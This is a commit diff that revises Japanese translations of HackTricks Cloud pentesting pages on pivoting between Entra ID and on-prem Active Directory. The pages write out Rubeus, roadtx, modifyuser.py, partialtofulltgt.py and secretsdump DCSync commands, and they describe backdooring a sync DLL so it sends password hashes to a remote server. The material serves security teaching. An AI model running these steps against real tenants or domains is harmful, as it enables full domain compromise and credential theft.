mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -4,7 +4,7 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
このセクションでは、侵害された Entra ID テナントからオンプレミスの Active Directory (AD) へ、または侵害された AD から Entra ID テナントへ移動するためのピボッティング技術をカバーします。
|
||||
このセクションでは、侵害された Entra ID テナントからオンプレミスの Active Directory (AD) へ、または侵害された AD から Entra ID テナントへ移動するためのピボッティング技術について説明します。
|
||||
|
||||
## ピボッティング技術
|
||||
|
||||
@@ -34,6 +34,6 @@
|
||||
|
||||
- [**Seamless SSO**](az-seamless-sso.md): Seamless SSO を悪用してオンプレミスからクラウドへ移動する方法。
|
||||
|
||||
- **クラウドからオンプレミスにピボットする別の方法は** [**Intune を悪用すること**](../az-services/intune.md)
|
||||
- **クラウドからオンプレミスにピボットする別の方法は** [**Intune を悪用することです**](../az-services/intune.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
### 課題の特定
|
||||
|
||||
Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー（ドメインに参加したサーバー）をAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれています: DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。
|
||||
Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー（ドメインに参加したサーバー）をAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1というスクリプトが含まれています。
|
||||
|
||||
DeployGPO.ps1スクリプトを実行すると、以下のアクションが実行されます:
|
||||
DeployGPO.ps1スクリプトを実行すると、以下のアクションが実行されます：
|
||||
|
||||
1. ローカルドメイン内にAzure Arc Servers Onboarding GPOを作成します。
|
||||
1. ローカルドメイン内にAzure ArcサーバーオンボーディングGPOを作成します。
|
||||
2. オンボーディングプロセスのために作成された指定されたネットワーク共有にEnableAzureArc.ps1オンボーディングスクリプトをコピーします。この共有にはWindowsインストーラーパッケージも含まれています。
|
||||
|
||||
このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります: **ServicePrincipalId** と **ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報などの詳細も必要です。
|
||||
このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります：**ServicePrincipalId**と**ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報などの詳細も必要です。
|
||||
|
||||
暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内にDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことで行われます。descriptorは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
|
||||
暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内にDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことで行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
|
||||
```bash
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
@@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
|
||||
```
|
||||
コンピュータアカウントのTGTがメモリに保存されている場合、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。
|
||||
コンピュータアカウントのTGTがメモリに保存されていることで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。
|
||||
```bash
|
||||
Import-Module .\AzureArcDeployment.psm1
|
||||
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Az - Cloud Kerberos Trust
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **の要約であり、攻撃に関するさらなる情報を確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。**
|
||||
|
||||
## Kerberos Trust Relationship Overview
|
||||
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- この機能（Windows Hello for Businessの一部）は、一方向の信頼を確立し、オンプレミスのADが**Entra IDを信頼して**ADのためにKerberosチケットを発行します。これを有効にすると、ADに**AzureADKerberos$**コンピュータオブジェクトが作成され（読み取り専用ドメインコントローラとして表示される）、リンクされた**`krbtgt_AzureAD`**アカウント（セカンダリKRBTGT）が作成されます。Entra IDはこれらのアカウントの鍵を保持し、ADユーザーのために「部分的」Kerberos TGTを発行できます。ADドメインコントローラはこれらのチケットを尊重しますが、RODCのような制限があります：デフォルトでは、**高特権グループ（Domain Admins、Enterprise Adminsなど）は*拒否*され**、通常のユーザーは許可されます。これにより、Entra IDは通常の条件下でドメイン管理者を信頼を介して認証することができません。しかし、後で見るように、十分なEntra IDの権限を持つ攻撃者はこの信頼設計を悪用することができます。
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- この機能（Windows Hello for Businessの一部）は、一方向の信頼を確立し、オンプレミスのADが**Entra IDを信頼して**ADのためにKerberosチケットを発行します。これを有効にすると、ADに**AzureADKerberos$**コンピュータオブジェクトが作成され（読み取り専用ドメインコントローラとして表示される）、リンクされた**`krbtgt_AzureAD`**アカウント（セカンダリKRBTGT）が作成されます。Entra IDはこれらのアカウントの鍵を保持し、ADユーザーのために「部分的」Kerberos TGTを発行できます。ADドメインコントローラはこれらのチケットを尊重しますが、RODCのような制限があります：デフォルトでは、**高特権グループ（Domain Admins、Enterprise Adminsなど）は*拒否*され**、通常のユーザーは許可されます。これにより、Entra IDは通常の条件下でドメイン管理者を信頼を介して認証できなくなります。しかし、後で見るように、十分なEntra IDの権限を持つ攻撃者はこの信頼設計を悪用できます。
|
||||
|
||||
## Pivoting from Entra ID to On-Prem AD
|
||||
|
||||
@@ -20,11 +20,11 @@
|
||||
|
||||
- 攻撃者が認証できる少なくとも1つの**ハイブリッドユーザーアカウント**（ADとAADの両方に存在）が必要です。これは、その資格情報を知っているかリセットするか、パスワードレスの方法（例：一時的アクセスパス）を割り当ててプライマリリフレッシュトークン（PRT）を生成することで取得できます。
|
||||
|
||||
- デフォルトのRODC「拒否」ポリシーに*含まれない*高特権の**オンプレミスADターゲットアカウント**。実際には、**AD Connect同期アカウント**（通常は**MSOL_***と名付けられる）が優れたターゲットであり、AD内でDCSync（レプリケーション）権限を持っていますが、通常は組み込みの管理グループのメンバーではありません。このアカウントは通常Entra IDに同期されないため、そのSIDは競合なしに偽装することができます。
|
||||
- デフォルトのRODC「拒否」ポリシーに*含まれない*高特権の**オンプレミスADターゲットアカウント**。実際には、**AD Connect同期アカウント**（通常は**MSOL_***と名付けられる）が優れたターゲットであり、AD内でDCSync（レプリケーション）権限を持っていますが、通常は組み込みの管理グループのメンバーではありません。このアカウントは通常Entra IDに同期されないため、そのSIDは衝突なく偽装するために利用可能です。
|
||||
|
||||
**攻撃手順：**
|
||||
|
||||
1. **Azure AD同期APIアクセスを取得する：** Global Adminアカウントを使用して、Azure ADの**Provisioning（同期）API**のアクセストークンを取得します。これは、**ROADtools**や**AADInternals**などのツールを使用して行うことができます。例えば、ROADtools（roadtx）を使用して：
|
||||
1. **Azure AD同期APIアクセスを取得する：** Global Adminアカウントを使用して、Azure AD **Provisioning（同期）API**のアクセストークンを取得します。これは**ROADtools**や**AADInternals**のようなツールを使用して行うことができます。例えば、ROADtools（roadtx）を使用して：
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
@@ -38,35 +38,35 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> ユーザーの `sourceAnchor` (不変ID) は、変更するAzure ADオブジェクトを特定するために必要です。このツールは、ハイブリッドユーザーのオンプレミスSIDとSAMアカウント名をターゲットの値（例：MSOL_xxxxアカウントのSIDとSAM）に設定します。Azure ADは通常、これらの属性をGraph経由で変更することを許可していません（読み取り専用です）が、同期サービスAPIはそれを許可し、グローバル管理者はこの同期機能を呼び出すことができます。
|
||||
> ユーザーの `sourceAnchor` (不変ID) は、変更するAzure ADオブジェクトを特定するために必要です。このツールは、ハイブリッドユーザーのオンプレSIDとSAMアカウント名をターゲットの値（例：MSOL_xxxxアカウントのSIDとSAM）に設定します。Azure ADは通常、Graphを介してこれらの属性を変更することを許可していません（読み取り専用です）が、同期サービスAPIはそれを許可し、グローバル管理者はこの同期機能を呼び出すことができます。
|
||||
|
||||
3. **Azure ADから部分的なTGTを取得する:** 変更後、ハイブリッドユーザーとしてAzure ADに認証します（例えば、デバイス上でPRTを取得するか、彼らの資格情報を使用します）。ユーザーがサインインすると（特にドメイン参加またはEntra参加のWindowsデバイス上で）、Azure ADはそのアカウントに対して**部分的なKerberos TGT (TGT**<sub>**AD**</sub>)を発行します。これはCloud Kerberos Trustが有効になっているためです。この部分的なTGTはAzureADKerberos$ RODCキーで暗号化され、設定した**ターゲットSID**が含まれています。これをROADtoolsを使用してユーザーのためにPRTを要求することでシミュレートできます:
|
||||
3. **Azure ADから部分的なTGTを取得する:** 変更後、ハイブリッドユーザーとしてAzure ADに認証します（例えば、デバイス上でPRTを取得するか、彼らの資格情報を使用します）。ユーザーがサインインすると（特にドメイン参加またはEntra参加のWindowsデバイス上で）、Azure ADはそのアカウントに対して**部分的なKerberos TGT (TGT**<sub>**AD**</sub>)を発行します。これはCloud Kerberos Trustが有効になっているためです。この部分的なTGTはAzureADKerberos$ RODCキーで暗号化され、設定した**ターゲットSID**が含まれています。これをROADtoolsを介してユーザーのためにPRTを要求することでシミュレートできます:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
この出力は、部分的なTGTとセッションキーを含む`.prt`ファイルを生成します。アカウントがクラウド専用のパスワードであった場合、Azure ADはPRTレスポンスにTGT_ADを含めます。
|
||||
|
||||
4. **部分的TGTをフルTGTに交換（AD上）:** 部分的TGTは、ターゲットアカウントの**フルTGT**を取得するためにオンプレミスのドメインコントローラーに提示できます。これは、`krbtgt`サービス（ドメインの主要なTGTサービス）に対してTGSリクエストを実行することで行います。基本的に、チケットをフルPACを持つ通常のTGTにアップグレードします。この交換を自動化するためのツールが利用可能です。例えば、ROADtools Hybridのスクリプトを使用します:
|
||||
4. **部分的TGTをフルTGTに交換（AD上で）:** 部分的TGTは、ターゲットアカウントの**フルTGT**を取得するためにオンプレミスのドメインコントローラーに提示できます。これは、`krbtgt`サービス（ドメインの主要なTGTサービス）に対してTGSリクエストを実行することで行います。基本的に、チケットをフルPACを持つ通常のTGTにアップグレードします。この交換を自動化するためのツールが利用可能です。例えば、ROADtools Hybridのスクリプトを使用します:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
このスクリプト（またはImpacketの同等物）は、ドメインコントローラーに接続し、ターゲットADアカウントの有効なTGTを取得します。特別なKerberos拡張が使用されている場合、アカウントのNTLMハッシュも含まれます。**`KERB-KEY-LIST-REQ`**拡張は、自動的にDCにターゲットアカウントのNTLMハッシュを暗号化された返信で返すように要求するために含まれます。結果は、ターゲットアカウントのための資格情報キャッシュ（`full_tgt.ccache`）または回収されたNTLMパスワードハッシュです。
|
||||
このスクリプト（またはImpacketの同等物）は、ドメインコントローラーに連絡し、ターゲットADアカウントの有効なTGTを取得します。特別なKerberos拡張が使用されている場合、アカウントのNTLMハッシュも含まれます。**`KERB-KEY-LIST-REQ`**拡張は自動的に含まれ、DCにターゲットアカウントのNTLMハッシュを暗号化された返信で返すように要求します。その結果、ターゲットアカウントのための資格情報キャッシュ（`full_tgt.ccache`）または回収されたNTLMパスワードハッシュが得られます。
|
||||
|
||||
5. **ターゲットを偽装し、ドメイン管理者に昇格する:** これで攻撃者は実質的に**ターゲットADアカウントを制御**しています。たとえば、ターゲットがAD Connect **MSOLアカウント**であった場合、ディレクトリに対するレプリケーション権限を持っています。攻撃者は、そのアカウントの資格情報またはKerberos TGTを使用して、ADからパスワードハッシュをダンプする**DCSync**攻撃を実行できます（ドメインKRBTGTアカウントを含む）。例えば:
|
||||
5. **ターゲットを偽装し、ドメイン管理者に昇格する:** これで攻撃者は実質的に**ターゲットADアカウントを制御**しています。たとえば、ターゲットがAD Connect **MSOLアカウント**であった場合、ディレクトリに対するレプリケーション権限を持っています。攻撃者は、そのアカウントの資格情報またはKerberos TGTを使用して、ADからパスワードハッシュをダンプする**DCSync**攻撃を実行できます（ドメインKRBTGTアカウントを含む）。例えば：
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
これはすべてのADユーザーパスワードハッシュをダンプし、攻撃者にKRBTGTハッシュを提供します（これにより、ドメインKerberosチケットを自由に偽造でき）、実質的に**Domain Admin**権限をADに対して持つことになります。ターゲットアカウントが別の特権ユーザーであった場合、攻撃者はそのユーザーとしてドメインリソースにアクセスするために完全なTGTを使用できます。
|
||||
これはすべてのADユーザーのパスワードハッシュをダンプし、攻撃者にKRBTGTハッシュを提供します（これにより、ドメインKerberosチケットを自由に偽造でき）、実質的に**Domain Admin**権限をADに対して持つことになります。ターゲットアカウントが別の特権ユーザーであった場合、攻撃者はそのユーザーとして任意のドメインリソースにアクセスするために完全なTGTを使用できます。
|
||||
|
||||
6. **クリーンアップ:** オプションとして、攻撃者は同じAPIを介して変更されたAzure ADユーザーの元の`onPremisesSAMAccountName`とSIDを復元するか、単に作成された一時ユーザーを削除できます。多くの場合、次のAzure AD Connect同期サイクルでは、同期された属性の不正な変更が自動的に元に戻されます。（ただし、この時点でダメージはすでに発生しています -- 攻撃者はDA権限を持っています。）
|
||||
|
||||
> [!WARNING]
|
||||
> クラウドトラストと同期メカニズムを悪用することで、Azure ADのグローバル管理者はRODCポリシーによって明示的に保護されていないほぼ*すべての* ADアカウントを偽装できます。たとえそのアカウントがクラウド同期されていなくてもです。デフォルトの構成では、これは**Azure ADの侵害からオンプレミスADの侵害への完全な信頼を橋渡しします**。
|
||||
> クラウドトラストと同期メカニズムを悪用することにより、Azure ADのグローバル管理者はRODCポリシーによって明示的に保護されていないほぼ*すべての* ADアカウントを偽装できます。たとえそのアカウントがクラウド同期されていなくてもです。デフォルトの構成では、これは**Azure ADの侵害からオンプレミスADの侵害への完全な信頼を橋渡しします**。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Cloud Sync** は、Azure が **AD から Entra ID にユーザーを同期させる新しい方法** です。
|
||||
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync は、ユーザー、グループ、および連絡先を Microsoft Entra ID に同期させるためのハイブリッドアイデンティティ目標を達成するために設計された Microsoft の新しい提供物です。これは、Microsoft Entra Connect アプリケーションの代わりに Microsoft Entra クラウドプロビジョニングエージェントを使用することで実現されます。ただし、Microsoft Entra Connect Sync と併用することもできます。
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync は、ユーザー、グループ、および連絡先を Microsoft Entra ID に同期させるためのハイブリッドアイデンティティ目標を達成するために設計された Microsoft の新しい提供物です。これは、Microsoft Entra Connect アプリケーションの代わりに Microsoft Entra クラウドプロビジョニングエージェントを使用して実現されます。ただし、Microsoft Entra Connect Sync と併用することもできます。
|
||||
|
||||
### 生成されるプリンシパル
|
||||
|
||||
@@ -15,35 +15,35 @@
|
||||
- Entra ID では、ユーザー `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) が **`Directory Synchronization Accounts`** の役割 (`d29b2b05-8046-44ba-8758-1e26182fcf32`) で作成されます。
|
||||
|
||||
> [!WARNING]
|
||||
> この役割は多くの特権的な権限を持っており、[**グローバル管理者への権限昇格に使用される可能性がありました**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。しかし、Microsoft はこの役割のすべての権限を削除し、新しい **`microsoft.directory/onPremisesSynchronization/standard/read`** のみを割り当てました。これにより、ユーザーのパスワードや属性を変更したり、SP に新しい資格情報を追加したりする特権的なアクションを実行することはできません。
|
||||
> この役割は多くの特権的な権限を持っており、[**グローバル管理者への権限昇格に使用できた**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b) が、Microsoft はこの役割のすべての権限を削除し、新しい **`microsoft.directory/onPremisesSynchronization/standard/read`** のみを割り当てました。これにより、ユーザーのパスワードや属性を変更したり、SP に新しい資格情報を追加したりする特権的なアクションを実行することはできません。
|
||||
|
||||
- Entra ID では、メンバーや所有者のないグループ **`AAD DC Administrators`** も作成されます。このグループは [`Microsoft Entra Domain Services`](./az-domain-services.md) を使用する場合に便利です。
|
||||
- Entra ID では、メンバーや所有者のいないグループ **`AAD DC Administrators`** も作成されます。このグループは [`Microsoft Entra Domain Services`](./az-domain-services.md) を使用する場合に便利です。
|
||||
|
||||
- AD では、サービスアカウント **`provAgentgMSA`** が **`pGMSA_<id>$@domain.com`** のような SamAccountName で作成されるか、[**これらの権限が必要なカスタムアカウント**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) が作成されます。通常、デフォルトのものが作成されます。
|
||||
- AD では、サービスアカウント **`provAgentgMSA`** が **`pGMSA_<id>$@domain.com`** のような SamAccountName で作成されるか、[**これらの権限が必要な**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)カスタムのものが作成されます。通常、デフォルトのものが作成されます。
|
||||
|
||||
> [!WARNING]
|
||||
> 他の権限の中で、サービスアカウント **`provAgentgMSA`** には DCSync 権限があり、**それを侵害した者はディレクトリ全体を侵害することができます**。DCSync についての詳細は、[こちらを確認してください](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
|
||||
> 他の権限の中で、サービスアカウント **`provAgentgMSA`** は DCSync 権限を持っており、**それを侵害した者はディレクトリ全体を侵害することができます**。DCSync についての詳細は、[こちらを確認してください](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
|
||||
|
||||
> [!NOTE]
|
||||
> デフォルトでは、**`adminCount`** 属性が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの他のユーザーや、直接高い権限が割り当てられたユーザーは **同期される可能性があります**。
|
||||
|
||||
## パスワード同期
|
||||
|
||||
このセクションは、以下の内容に非常に似ています。
|
||||
このセクションは以下の内容に非常に似ています:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **パスワードハッシュ同期** を有効にすると、ユーザーは **AD のパスワードを使用して Entra ID にログインできるようになります**。さらに、AD でパスワードが変更されると、Entra ID にも更新されます。
|
||||
- **パスワード書き戻し** も有効にでき、ユーザーが Entra ID でパスワードを変更すると、オンプレミスドメインのパスワードが自動的に同期されます。ただし、[現在のドキュメント](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) によれば、これには Connect Agent を使用する必要があるため、[Az Connect Sync セクション](./az-connect-sync.md) を参照してください。
|
||||
- **グループ書き戻し**: この機能により、Entra ID のグループメンバーシップがオンプレミスの AD に同期されます。つまり、ユーザーが Entra ID のグループに追加されると、AD の対応するグループにも追加されます。
|
||||
- **パスワードハッシュ同期** を有効にすると、ユーザーは **AD のパスワードを使用して Entra ID にログインできる** ようになります。さらに、AD でパスワードが変更されると、Entra ID にも更新されます。
|
||||
- **パスワード書き戻し** も有効にでき、ユーザーが Entra ID でパスワードを変更すると、自動的にオンプレミスドメインにパスワードが同期されます。ただし、[現在のドキュメント](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback)によると、これには Connect Agent を使用する必要があるため、[Az Connect Sync セクション](./az-connect-sync.md)を参照してください。
|
||||
- **グループ書き戻し**: この機能により、Entra ID のグループメンバーシップがオンプレミス AD に同期されます。つまり、ユーザーが Entra ID のグループに追加されると、AD の対応するグループにも追加されます。
|
||||
|
||||
## ピボッティング
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- AD ユーザーが AD から Entra ID に同期されている場合、AD から Entra ID へのピボッティングは簡単です。**ユーザーのパスワードを侵害するか、ユーザーのパスワードを変更するか、新しいユーザーを作成して Entra ID ディレクトリに同期されるのを待つだけです（通常は数分以内）**。
|
||||
- AD ユーザーが AD から Entra ID に同期されている場合、AD から Entra ID へのピボッティングは簡単です。**ユーザーのパスワードを侵害するか、ユーザーのパスワードを変更するか、新しいユーザーを作成して Entra ID ディレクトリに同期されるのを待つだけです（通常は数分）**。
|
||||
|
||||
例えば、次のようにできます。
|
||||
- **`provAgentgMSA`** アカウントを侵害し、DCSync 攻撃を実行し、ユーザーのパスワードを解読して、それを使用して Entra ID にログインします。
|
||||
@@ -87,7 +87,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
永続性に関しては、[このブログ投稿](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)は、**`C:\Program Files\Microsoft Azure AD Sync\Bin`**にある**`Microsoft.Online.Passwordsynchronisation.dll`**をバックドアするために[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用することが可能であると示唆しています。このdllはCloud Syncエージェントによってパスワード同期を実行するために使用され、同期されるユーザーのパスワードハッシュをリモートサーバーに流出させるようにします。ハッシュは**`PasswordHashGenerator`**クラス内で生成され、ブログ投稿では、クラスが次のようになるようにコードを追加することを提案しています（`use System.Net`と`WebClient`を使用してパスワードハッシュを流出させることに注意してください）：
|
||||
永続性に関しては、[このブログ投稿](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)は、**`C:\Program Files\Microsoft Azure AD Sync\Bin`**にあるdll **`Microsoft.Online.Passwordsynchronisation.dll`**をバックドアするために[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用することが可能であると示唆しています。このdllはCloud Syncエージェントによってパスワード同期を実行するために使用され、同期されるユーザーのパスワードハッシュをリモートサーバーに流出させるようにします。ハッシュは**`PasswordHashGenerator`**クラス内で生成され、ブログ投稿では、クラスが次のようになるようにコードを追加することを提案しています（`use System.Net`と`WebClient`を使用してパスワードハッシュを流出させることに注意してください）：
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -131,12 +131,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Se
|
||||
|
||||
- **Password Writeback** が有効になっている場合、Entra ID からいくつかのユーザーのパスワードを変更でき、AD ネットワークにアクセスできる場合は、それを使用して接続できます。詳細については、パスワードの書き戻しがそのエージェントを使用して構成されているため、[Az Connect Sync セクション](./az-connect-sync.md)を確認してください。
|
||||
|
||||
- 現時点では Cloud Sync は **"Microsoft Entra ID to AD"** もサポートしていますが、長い時間が経過した後、EntraID ユーザーを AD に同期できず、パスワードハッシュで同期された EntraID ユーザーのみを同期できることがわかりました。また、同期先のドメインと同じドメインフォレストに属するドメインから来る必要があります。詳細は [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) を参照してください：
|
||||
- 現時点では Cloud Sync は **"Microsoft Entra ID to AD"** を許可していますが、長い時間が経った後、EntraID ユーザーを AD に同期できず、パスワードハッシュで同期された EntraID ユーザーのみを同期できることがわかりました。また、同期先のドメインと同じドメインフォレストに属するドメインから来る必要があります。詳細は [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) を参照してください：
|
||||
|
||||
> - これらのグループには、オンプレミスで同期されたユーザーおよび/または追加のクラウドで作成されたセキュリティグループのみを含めることができます。
|
||||
> - 同期され、クラウドで作成されたこのセキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同じドメインまたはクロスドメインからであってもかまいませんが、すべて同じフォレストからでなければなりません。
|
||||
> - 同期され、このクラウドで作成されたセキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同じドメインまたはクロスドメインからであってもかまいませんが、すべて同じフォレストからでなければなりません。
|
||||
|
||||
したがって、このサービスの攻撃面（および有用性）は大幅に減少します。攻撃者は、他のドメインのユーザーを侵害するために、ユーザーが同期されている初期の AD を侵害する必要があります（両方のドメインは明らかに同じフォレスト内である必要があります）。
|
||||
したがって、このサービスの攻撃面（および有用性）は大幅に減少します。攻撃者は、他のドメインのユーザーを侵害するために、ユーザーが同期されている初期の AD を侵害する必要があります（両方が同じフォレストに存在する必要があるようです）。
|
||||
|
||||
|
||||
### Enumeration
|
||||
@@ -151,4 +151,4 @@ az rest \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同期サービス (Microsoft Entra Connect Sync) は、Microsoft Entra Connect の主要なコンポーネントです。これは、オンプレミス環境と Microsoft Entra ID の間でアイデンティティデータを同期するために関連するすべての操作を処理します。
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同期サービス (Microsoft Entra Connect Sync) は、Microsoft Entra Connect の主要なコンポーネントです。これは、オンプレミス環境と Microsoft Entra ID の間でアイデンティティデータを同期するために関連するすべての操作を処理します。
|
||||
|
||||
これを使用するには、AD 環境内のサーバーに **`Microsoft Entra Connect Sync`** エージェントをインストールする必要があります。このエージェントが AD 側の同期を担当します。
|
||||
これを使用するには、AD 環境内のサーバーに **`Microsoft Entra Connect Sync`** エージェントをインストールする必要があります。このエージェントが AD 側からの同期を担当します。
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync** は基本的に、**AD から Entra ID へのユーザーを同期する「古い」Azure の方法です。** 新しい推奨方法は **Entra Cloud Sync** を使用することです：
|
||||
**Connect Sync** は基本的に、**AD から Entra ID へのユーザーを同期する「古い」Azure の方法です。** 新しい推奨方法は **Entra Cloud Sync** を使用することです:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
